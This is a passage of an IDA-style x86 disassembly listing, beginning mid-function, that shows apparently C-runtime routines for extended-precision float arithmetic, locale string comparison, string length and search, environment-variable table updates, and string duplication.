		ja	short loc_421F0A
		xor	eax, eax
		jmp	short loc_421F44
; ---------------------------------------------------------------------------

loc_421F0A:				; CODE XREF: sub_421EA1+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_421F2C
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_421F2C
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_421F2E
		cmp	[esi], eax
		jnz	short loc_421F2E
		jmp	loc_42209B
; ---------------------------------------------------------------------------

loc_421F2C:				; CODE XREF: sub_421EA1+71j
					; sub_421EA1+79j
		xor	eax, eax

loc_421F2E:				; CODE XREF: sub_421EA1+80j
					; sub_421EA1+84j
		cmp	cx, ax
		jnz	short loc_421F51
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_421F51
		cmp	[ebx+4], eax
		jnz	short loc_421F51
		cmp	[ebx], eax
		jnz	short loc_421F51

loc_421F44:				; CODE XREF: sub_421EA1+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_4220BC
; ---------------------------------------------------------------------------

loc_421F51:				; CODE XREF: sub_421EA1+90j
					; sub_421EA1+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5

loc_421F61:				; CODE XREF: sub_421EA1+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_421FB5
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax

loc_421F7D:				; CODE XREF: sub_421EA1+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421FA8
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]

loc_421FA8:				; CODE XREF: sub_421EA1+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_421F7D

loc_421FB5:				; CODE XREF: sub_421EA1+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_421F61
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_421FF8

loc_421FD3:				; CODE XREF: sub_421EA1+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_421FF1
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4213B6
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_421FD3

loc_421FF1:				; CODE XREF: sub_421EA1+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_422031

loc_421FF8:				; CODE XREF: sub_421EA1+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_422031
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax

loc_422011:				; CODE XREF: sub_421EA1+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_42201A
		inc	[ebp+var_14]

loc_42201A:				; CODE XREF: sub_421EA1+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4213E4
		dec	ebx
		pop	ecx
		jnz	short loc_422011
		cmp	[ebp+var_14], 0
		jz	short loc_422031
		or	byte ptr [ebp+var_24], 1

loc_422031:				; CODE XREF: sub_421EA1+155j
					; sub_421EA1+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_422048
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_42207D

loc_422048:				; CODE XREF: sub_421EA1+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_42207A
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_422075
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_42206F
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_42207D
; ---------------------------------------------------------------------------

loc_42206F:				; CODE XREF: sub_421EA1+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_42207D
; ---------------------------------------------------------------------------

loc_422075:				; CODE XREF: sub_421EA1+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_42207D
; ---------------------------------------------------------------------------

loc_42207A:				; CODE XREF: sub_421EA1+1ABj
		inc	[ebp+var_24+2]

loc_42207D:				; CODE XREF: sub_421EA1+1A5j
					; sub_421EA1+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_4220A1
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx

loc_42209B:				; CODE XREF: sub_421EA1+86j
		mov	[esi+0Ah], ax
		jmp	short loc_4220BC
; ---------------------------------------------------------------------------

loc_4220A1:				; CODE XREF: sub_421EA1+42j
					; sub_421EA1+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi

loc_4220BC:				; CODE XREF: sub_421EA1+ABj
					; sub_421EA1+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421EA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220C1	proc near		; CODE XREF: sub_4214D8+440p
					; sub_4219A9+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_436760
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_42213A
		jge	short loc_4220E9
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_4368C0
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h

loc_4220E9:				; CODE XREF: sub_4220C1+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4220F4
		mov	eax, [ebp+arg_0]
		mov	[eax], cx

loc_4220F4:				; CODE XREF: sub_4220C1+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_42213A
		push	esi
		push	edi

loc_4220FB:				; CODE XREF: sub_4220C1+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_422133
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_422126
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]

loc_422126:				; CODE XREF: sub_4220C1+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_421EA1
		pop	ecx
		pop	ecx
		xor	ecx, ecx

loc_422133:				; CODE XREF: sub_4220C1+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_4220FB
		pop	edi
		pop	esi

loc_42213A:				; CODE XREF: sub_4220C1+14j
					; sub_4220C1+36j
		pop	ebx
		leave
		retn
sub_4220C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42213D	proc near		; CODE XREF: sub_421DAE+5Ep
					; sub_422619+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_42214A
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42214A:				; CODE XREF: sub_42213D+7j
		push	dword_4CEDE4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4CF004
		call	sub_4221EA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422177
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_422177:				; CODE XREF: sub_42213D+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_42213D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42217C	proc near		; CODE XREF: sub_421DAE+1Ep
					; sub_422492+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4CD9E4
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_4221DD
		mov	ebx, dword_424150

loc_422195:				; CODE XREF: sub_42217C+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_4221E5
		push	ebp
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_4221E5
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_4221E5
		push	edi
		push	[esp+18h+var_4]
		call	sub_422492
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_422195

loc_4221DD:				; CODE XREF: sub_42217C+11j
		xor	eax, eax

loc_4221DF:				; CODE XREF: sub_42217C+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_4221E5:				; CODE XREF: sub_42217C+29j
					; sub_42217C+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_4221DF
sub_42217C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4221EA	proc near		; CODE XREF: sub_42213D+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424C88
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4CDCA0, ebx
		push	1
		pop	edi
		jnz	short loc_42225D
		push	edi
		mov	eax, offset dword_4248D8
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25C0000h
		test	eax, eax
		jz	short loc_42223A
		mov	dword_4CDCA0, edi
		jmp	short loc_42225D
; ---------------------------------------------------------------------------

loc_42223A:				; CODE XREF: sub_4221EA+46j
		push	edi
		mov	eax, offset dword_436EF4
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25C068Bh
		test	eax, eax
		jz	loc_422453
		mov	dword_4CDCA0, 2

loc_42225D:				; CODE XREF: sub_4221EA+31j
					; sub_4221EA+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_422274
		push	esi
		push	[ebp+arg_8]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi

loc_422274:				; CODE XREF: sub_4221EA+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_422289
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax

loc_422289:				; CODE XREF: sub_4221EA+8Dj
		mov	eax, dword_4CDCA0
		cmp	eax, 2
		jnz	short loc_4222AE
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25C068Bh
		jmp	loc_422455
; ---------------------------------------------------------------------------

loc_4222AE:				; CODE XREF: sub_4221EA+A7j
		cmp	eax, edi
		jnz	loc_422453
		cmp	[ebp+arg_18], ebx
		jnz	short loc_4222C3
		mov	eax, dword_4CDA58
		mov	[ebp+arg_18], eax

loc_4222C3:				; CODE XREF: sub_4221EA+CFj
		cmp	esi, ebx
		jz	short loc_4222D0
		cmp	[ebp+arg_14], ebx
		jnz	loc_422368

loc_4222D0:				; CODE XREF: sub_4221EA+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_4222DD

loc_4222D5:				; CODE XREF: sub_4221EA+13Cj
					; sub_4221EA+16Dj
		push	2

loc_4222D7:				; CODE XREF: sub_4221EA+146j
		pop	eax
		jmp	loc_422455
; ---------------------------------------------------------------------------

loc_4222DD:				; CODE XREF: sub_4221EA+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_4222E9

loc_4222E2:				; CODE XREF: sub_4221EA+151j
					; sub_4221EA+159j ...
		mov	eax, edi
		jmp	loc_422455
; ---------------------------------------------------------------------------

loc_4222E9:				; CODE XREF: sub_4221EA+F6j
		cmp	esi, edi
		jg	short loc_42232E
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	near ptr 28A146Fh
		nop
		test	eax, eax
		jz	loc_422453
		cmp	esi, ebx
		jle	short loc_422332
		cmp	[ebp+var_3C], 2
		jb	short loc_42232E
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_42232E

loc_422314:				; CODE XREF: sub_4221EA+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_42232E
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_422328
		cmp	cl, dl
		jbe	short loc_4222D5

loc_422328:				; CODE XREF: sub_4221EA+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422314

loc_42232E:				; CODE XREF: sub_4221EA+101j
					; sub_4221EA+120j ...
		push	3
		jmp	short loc_4222D7
; ---------------------------------------------------------------------------

loc_422332:				; CODE XREF: sub_4221EA+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_422368
		cmp	[ebp+var_3C], 2
		jb	short loc_4222E2
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_4222E2

loc_422345:				; CODE XREF: sub_4221EA+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_4222E2
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_42235D
		cmp	cl, dl
		jbe	loc_4222D5

loc_42235D:				; CODE XREF: sub_4221EA+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422345
		jmp	loc_4222E2
; ---------------------------------------------------------------------------

loc_422368:				; CODE XREF: sub_4221EA+E0j
					; sub_4221EA+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 2630000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_422453
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4223B7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi

loc_4223B7:				; CODE XREF: sub_4221EA+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_422453
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_424070
		call	esi
		test	eax, eax
		jz	short loc_422453
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_422453
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422422
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]

loc_422422:				; CODE XREF: sub_4221EA+224j
		cmp	edi, ebx
		jz	short loc_422453
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_422453
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 25C0000h
		nop
		jmp	short loc_422455
; ---------------------------------------------------------------------------

loc_422453:				; CODE XREF: sub_4221EA+63j
					; sub_4221EA+C6j ...
		xor	eax, eax

loc_422455:				; CODE XREF: sub_4221EA+BFj
					; sub_4221EA+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4221EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_422467	proc near		; CODE XREF: sub_41E709+81p
					; sub_4221EA+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422484

loc_422477:				; CODE XREF: sub_422467+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_422484
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_422477

loc_422484:				; CODE XREF: sub_422467+Ej
					; sub_422467+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_42248F
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_42248F:				; CODE XREF: sub_422467+21j
		mov	eax, edx
		retn
sub_422467	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422492	proc near		; CODE XREF: sub_42217C+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_4224F6
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4226D8
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_4224F6
		cmp	[ebp+arg_0], esi
		jz	short loc_4224F6
		mov	eax, dword_4CD9DC
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4CD9E0
		jnz	short loc_4224DC
		push	eax
		call	sub_422671
		pop	ecx
		mov	dword_4CD9DC, eax

loc_4224DC:				; CODE XREF: sub_422492+3Cj
		cmp	eax, edi
		jnz	short loc_422534
		cmp	[ebp+arg_4], edi
		jz	short loc_4224FE
		cmp	dword_4CD9E4, edi
		jz	short loc_4224FE
		call	sub_42217C
		test	eax, eax
		jz	short loc_422534

loc_4224F6:				; CODE XREF: sub_422492+Dj
					; sub_422492+22j ...
		or	eax, 0FFFFFFFFh

loc_4224F9:				; CODE XREF: sub_422492+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4224FE:				; CODE XREF: sub_422492+51j
					; sub_422492+59j
		cmp	ebx, edi
		jnz	loc_422612
		push	4
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	dword_4CD9DC, eax
		jz	short loc_4224F6
		mov	[eax], edi
		cmp	dword_4CD9E4, edi
		jnz	short loc_422534
		push	4
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	dword_4CD9E4, eax
		jz	short loc_4224F6
		mov	[eax], edi

loc_422534:				; CODE XREF: sub_422492+4Cj
					; sub_422492+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4CD9DC
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_422619
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_422594
		cmp	dword ptr [edi], 0
		jz	short loc_422594
		test	ebx, ebx
		jz	short loc_42258C
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_417C3B
		pop	ecx

loc_422566:				; CODE XREF: sub_422492+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_422576
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_422566
; ---------------------------------------------------------------------------

loc_422576:				; CODE XREF: sub_422492+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41944F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4225C6
		jmp	short loc_4225C1
; ---------------------------------------------------------------------------

loc_42258C:				; CODE XREF: sub_422492+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4225C6
; ---------------------------------------------------------------------------

loc_422594:				; CODE XREF: sub_422492+BDj
					; sub_422492+C2j
		test	ebx, ebx
		jnz	short loc_422612
		test	esi, esi
		jge	short loc_42259E
		neg	esi

loc_42259E:				; CODE XREF: sub_422492+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41944F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4224F6
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0

loc_4225C1:				; CODE XREF: sub_422492+F8j
		mov	dword_4CD9DC, eax

loc_4225C6:				; CODE XREF: sub_422492+F6j
					; sub_422492+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_422612
		push	[ebp+arg_0]
		call	sub_417AB0
		inc	eax
		inc	eax
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_422612
		push	[ebp+arg_0]
		push	esi
		call	sub_4179C0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 25B01D8h
		push	esi
		call	sub_417C3B
		pop	ecx

loc_422612:				; CODE XREF: sub_422492+6Ej
					; sub_422492+104j ...
		xor	eax, eax
		jmp	loc_4224F9
sub_422492	endp


; =============== S U B	R O U T	I N E =======================================



sub_422619	proc near		; CODE XREF: sub_422492+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4CD9DC
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_422654
		mov	edi, [esp+8+arg_4]

loc_42262B:				; CODE XREF: sub_422619+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_42213D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42264A
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_422664
		test	al, al
		jz	short loc_422664

loc_42264A:				; CODE XREF: sub_422619+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_42262B

loc_422654:				; CODE XREF: sub_422619+Cj
		mov	eax, esi
		sub	eax, dword_4CD9DC
		sar	eax, 2
		neg	eax

loc_422661:				; CODE XREF: sub_422619+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_422664:				; CODE XREF: sub_422619+2Bj
					; sub_422619+2Fj
		mov	eax, esi
		sub	eax, dword_4CD9DC
		sar	eax, 2
		jmp	short loc_422661
sub_422619	endp


; =============== S U B	R O U T	I N E =======================================



sub_422671	proc near		; CODE XREF: sub_422492+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_422680
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_422680:				; CODE XREF: sub_422671+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_422692

loc_422688:				; CODE XREF: sub_422671+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_422688

loc_422692:				; CODE XREF: sub_422671+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4226B3
		push	9
		call	sub_419CDA
		pop	ecx

loc_4226B3:				; CODE XREF: sub_422671+38j
		mov	eax, [edi]
		mov	ebx, edi

loc_4226B7:				; CODE XREF: sub_422671+5Bj
		test	eax, eax
		jz	short loc_4226CE
		push	eax
		add	ebx, 4
		call	sub_42274B
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4226B7
; ---------------------------------------------------------------------------

loc_4226CE:				; CODE XREF: sub_422671+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_422671	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226D8	proc near		; CODE XREF: sub_422492+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4CEDFC, 0
		jnz	short loc_4226F3
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_418F50
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_4226F3:				; CODE XREF: sub_4226D8+Aj
		mov	ecx, [ebp+arg_0]

loc_4226F6:				; CODE XREF: sub_4226D8+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_422739
		movzx	edx, al
		test	byte_4CEF01[edx], 4
		jz	short loc_422725
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_422730
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_422734
		jmp	short loc_42272D
; ---------------------------------------------------------------------------

loc_422725:				; CODE XREF: sub_4226D8+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_422739

loc_42272D:				; CODE XREF: sub_4226D8+4Bj
		inc	ecx
		jmp	short loc_4226F6
; ---------------------------------------------------------------------------

loc_422730:				; CODE XREF: sub_4226D8+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_422734:				; CODE XREF: sub_4226D8+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_422739:				; CODE XREF: sub_4226D8+25j
					; sub_4226D8+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4226D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42274B	proc near		; CODE XREF: sub_40A7D7+21p
					; sub_422671+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_422772
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_417B89
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_422772
		push	esi
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_422772:				; CODE XREF: sub_42274B+7j
					; sub_42274B+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_42274B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_422780	proc near		; CODE XREF: sub_422863+19p
					; sub_42298A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_417AB0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_4046A3
		mov	eax, esi
		pop	esi
		retn	8
sub_422780	endp


